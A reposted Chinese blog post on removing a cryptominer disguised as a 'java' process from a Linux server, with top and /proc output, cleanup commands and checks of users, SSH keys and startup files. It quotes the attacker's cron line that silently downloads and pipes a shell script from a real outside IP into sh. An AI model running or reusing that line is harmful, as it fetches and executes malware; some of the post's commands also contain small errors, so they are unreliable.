本文轉載:https://blog.csdn.net/zzf1510711060/article/details/83015700
一:殺死挖礦程序進程
在服務器上使用top指令查看cpu的使用情況,發現有一個叫java的程序占用cpu高達99.9%
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
5778 root 20 0 373576 2720 404 S 99.9 0.1 1252:00 java
1 root 20 0 43208 3544 2420 S 0.0 0.2 0:04.52 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.08 ksoftirqd/0
5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
這個是挖礦程序偽裝成java程序,用jps查看java進程的時候並沒有這個程序。
通過pkill 5778殺死進程
二:刪除挖礦程序
我們通過cd /proc/5778(這個java挖礦程序的pid)進入到這個進程的目錄然后通過ll命令查看這個進程程序的位置
dr-xr-xr-x 2 root root 0 Oct 11 17:24 attr
-rw-r--r-- 1 root root 0 Oct 11 17:24 autogroup
-r-------- 1 root root 0 Oct 11 17:24 auxv
-r--r--r-- 1 root root 0 Oct 11 17:24 cgroup
--w------- 1 root root 0 Oct 11 17:24 clear_refs
-r--r--r-- 1 root root 0 Oct 10 20:18 cmdline
-rw-r--r-- 1 root root 0 Oct 11 17:24 comm
-rw-r--r-- 1 root root 0 Oct 11 17:24 coredump_filter
-r--r--r-- 1 root root 0 Oct 11 17:24 cpuset
lrwxrwxrwx 1 root root 0 Oct 11 17:24 cwd -> /
-r-------- 1 root root 0 Oct 11 17:24 environ
lrwxrwxrwx 1 root root 0 Oct 10 20:18 exe -> /var/tmp/java
dr-x------ 2 root root 0 Oct 10 20:18 fd
dr-x------ 2 root root 0 Oct 11 17:24 fdinfo
然后我們進入這個程序的目錄找到這個程序然后刪除
-rwxr-xr-x 1 root root 2386544 Oct 9 15:53 java
rm -rf java
不過做到這里不久之后這個挖礦程序還是會死灰復燃
三:清除挖礦程序的定時任務
因為你的系統中已經被設置了一個定時任務,定時下載挖礦程序並運行
通過crontab -l 查看該用戶下的所有定時任務
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
無時無刻的靜默執行這個cr.sh腳本,還清除了記錄,真的是陰啊!
crontab -r 刪除定時任務
最后提醒下,服務器的一些高危端口千萬不要隨便開啟啊,如果用阿里雲搭建集群的話可以配置安全組規則,針對於特定的主機開放端口,不要對所有ip開放端口。
四:檢查用戶列表,.ssh文件,開機啟動
cat /etc/passwd 檢查是否有未知用戶
cat ~/.ssh/authrized_keys 檢查是否對未知用戶授權
cat known_hosts 檢查是否有未知的用host
/etc/rc.local /etc/rc.sysinit /etc/inittab /etc/profile 這些開機啟動的系統配置目錄下面可能有挖礦程序的腳本,檢查一下
步驟簡化:
1.pkill java 殺掉挖礦程序的進程
2.rm -rf java 刪除挖礦程序
3.crontab -r 刪除定時任務
4.檢查用戶列表,開機啟動,.ssh文件
5.去阿里雲控制台設置安全組關閉不安全端口